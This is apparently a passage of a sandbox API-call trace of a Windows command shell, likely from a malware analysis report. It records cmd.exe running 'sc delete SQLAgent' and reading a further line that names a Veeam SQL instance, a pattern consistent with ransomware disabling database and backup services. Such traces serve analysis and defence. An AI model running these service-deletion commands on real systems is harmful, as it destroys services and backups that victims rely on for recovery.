lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.559] GetLastError () returned 0x2 [0070.559] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.559] GetLastError () returned 0x2 [0070.559] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0070.559] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.560] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.560] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0070.560] GetLastError () returned 0x2 [0070.560] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0070.560] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0070.560] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0070.560] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0070.560] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.560] GetProcessHeap () returned 0x4a0000 [0070.560] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0070.560] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0070.560] GetProcessHeap () returned 0x4a0000 [0070.561] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x9e) returned 0x4b9180 [0070.561] GetProcessHeap () returned 0x4a0000 [0070.561] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x9e [0070.561] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLAgent") returned 1 [0070.561] GetProcessHeap () returned 0x4a0000 [0070.561] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0070.561] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0070.561] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0070.561] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0070.561] GetProcessHeap () returned 0x4a0000 [0070.561] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0070.562] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.563] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0070.563] GetProcessHeap () returned 0x4a0000 [0070.563] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0070.563] GetProcessHeap () returned 0x4a0000 [0070.563] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0070.563] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLAgent", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLAgent", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete SQLAgent", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xb28, dwThreadId=0x618)) returned 1 [0070.566] CloseHandle (hObject=0x54) returned 1 [0070.566] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0070.566] GetProcessHeap () returned 0x4a0000 [0070.566] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.566] GetEnvironmentStringsW () returned 0x4bba10* [0070.567] GetProcessHeap () returned 0x4a0000 [0070.567] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0070.567] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0070.567] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0070.567] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd9000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0070.567] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0070.636] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0070.636] CloseHandle (hObject=0x50) returned 1 [0070.636] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0070.637] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0070.637] GetProcessHeap () returned 0x4a0000 [0070.637] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0070.637] GetEnvironmentStringsW () returned 0x4c1b10* [0070.637] GetProcessHeap () returned 0x4a0000 [0070.637] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0070.637] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0070.637] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0070.637] GetProcessHeap () returned 0x4a0000 [0070.637] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0070.637] GetEnvironmentStringsW () returned 0x4bba10* [0070.637] GetProcessHeap () returned 0x4a0000 [0070.637] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0070.637] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0070.637] GetProcessHeap () returned 0x4a0000 [0070.637] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0070.637] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0070.637] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0070.638] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.638] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0070.638] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.638] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0070.638] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.638] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0070.638] GetConsoleOutputCP () returned 0x1b5 [0070.639] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0070.639] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0070.639] GetProcessHeap () returned 0x4a0000 [0070.639] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0070.639] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0070.640] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.640] GetFileType (hFile=0x120) returned 0x3 [0070.640] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0070.640] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0070.640] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0070.640] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0070.640] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0070.640] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0070.640] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.640] GetFileType (hFile=0x120) returned 0x3 [0070.640] _get_osfhandle (_FileHandle=1) returned 0x120 [0070.640] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0070.640] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0070.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.640] GetFileType (hFile=0xb8) returned 0x3 [0070.640] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.640] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.641] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.641] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.641] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.641] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.642] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.642] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.642] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.642] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.642] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.642] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.642] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.642] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.642] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.642] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.642] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.642] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.642] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.642] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" SQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.642] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.642] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.643] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.643] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="MQLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.643] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.643] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.643] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.643] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SLAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.643] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.643] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.643] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.643] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SAgent\n$VEEAMSQL2012\"\n") returned 1 [0070.643] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.643] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.643] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0070.643] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="Qgent\n$VEEAMSQL2012\"\n") returned 1 [0070.643] _get_osfhandle (_FileHandle=0) returned 0xb8 [0070.643] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.643] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: 